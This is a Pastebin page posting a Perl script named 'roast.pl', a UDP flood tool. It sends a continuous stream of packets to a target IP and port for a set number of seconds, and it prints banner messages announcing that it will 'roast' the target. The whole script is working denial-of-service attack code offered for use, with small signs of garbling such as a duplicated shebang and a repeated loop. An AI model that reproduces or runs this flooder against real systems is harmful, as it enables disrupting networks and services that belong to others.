Advertisement
VMTragedy

roast.pl

Feb 21st, 2016
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.01 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##
  4. #!/usr/bin/perl
  5.  
  6. use Socket;
  7. use strict;
  8. use Term::ANSIColor;
  9.  
  10. my ($ip,$port,$size,$time) = @ARGV;
  11.  
  12. my ($iaddr,$endtime,$psize,$pport);
  13.  
  14. $iaddr = inet_aton("$ip") or die "Usage: perl roast.pl ip port 65500 time $ip\n";
  15. $endtime = time() + ($time ? $time : 100);
  16. socket(flood, PF_INET, SOCK_DGRAM, 17);
  17.  
  18.  
  19. print "\e[33m[!] You're Using Tragedy's Roast Script\n\e[0m";
  20. print "\e[33m[!] You're about to Roast $ip:$port for $time seconds\n\e[0m";
  21. print "\e[36m Let the Roast Begin....\n\e[0m";
  22.  
  23. ($size ? "$size-byte" : "sent") . " " .
  24. ($time ? "for $time seconds" : "") . "\n";
  25.  
  26. for (;time() <= $endtime;) {
  27. $psize = $size ? $size : int(rand(1024-64)+64) ;
  28. $pport = $port ? $port : int(rand(65500))+1;
  29.  
  30. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  31. $iaddr));}for (;time() <= $endtime;) {
  32. $psize = $size ? $size : int(rand(1024-64)+64) ;
  33. $pport = $port ? $port : int(rand(65500))+1;
  34.  
  35. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  36. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement